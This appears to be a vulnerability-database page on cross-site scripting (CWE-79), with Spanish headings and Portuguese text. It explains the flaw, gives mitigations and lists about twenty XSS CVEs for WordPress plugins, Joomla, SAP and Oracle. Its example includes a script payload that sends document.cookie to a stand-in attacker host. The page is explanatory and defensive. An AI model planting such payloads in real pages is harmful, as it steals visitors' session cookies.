Fallos del tipo CWE-79

30.306 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-4172MEDIUMVerticalResponse Newsletter Widget <= 1.6 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-13220MEDIUMUltimate Member <= 2.11.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.2%CVE-2025-4131MEDIUMGmapsMania <= 1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.2%CVE-2026-0505MEDIUMMultiple vulnerabilities in BSP Applications of SAP Document Management SystemEPSS 0.2%CVE-2025-9496MEDIUMEnable Media Replace <= 4.1.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via file_modified ShortcodeEPSS 0.2%CVE-2025-8440MEDIUMTeam Members <= 5.3.5 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-9442MEDIUMStreamWeasels Kick Integration <= 1.1.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via vodsChannel ParameterEPSS 0.2%CVE-2026-48949MEDIUMJoomla! Core - [20260703] - XSS in MFA method managementEPSS 0.2%CVE-2026-48953MEDIUMJoomla! Core - [20260707] - XSS in the generic image output layoutEPSS 0.2%CVE-2026-1908MEDIUMIntegration with Hubspot Forms <= 1.2.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode AttributesEPSS 0.2%CVE-2026-21943MEDIUMVulnerability in the Oracle Scripting product of Oracle E-Business Suite (component: Scripting Admin). Supported versions that are affectedEPSS 0.2%CVE-2025-0419MEDIUMXSS in Mikrogrup's Zirve NovaEPSS 0.2%CVE-2025-26653MEDIUMCross-Site Scripting (XSS) vulnerability in SAP NetWeaver Application Server ABAP (applications based on SAP GUI for HTML)EPSS 0.2%CVE-2025-22732MEDIUMWordPress Ad Blocking Detector plugin <= 3.6.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-39344HIGHReflected XSS the login page through the 'username' parameterEPSS 0.2%CVE-2026-21951MEDIUMVulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Integration Broker). Supported versions thaEPSS 0.2%CVE-2025-22727MEDIUMWordPress MailChimp Subscribe Form plugin <= 4.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-56736HIGHphpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ SubmissionEPSS 0.2%CVE-2026-107870HIGHWordPress JetEngine plugin <= 3.8.16 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-8394MEDIUMProductive Style <= 1.1.23 - Authenticated (Contributor+) Stored Cross-Site Scripting via display_productive_breadcrumb ShortcodeEPSS 0.2%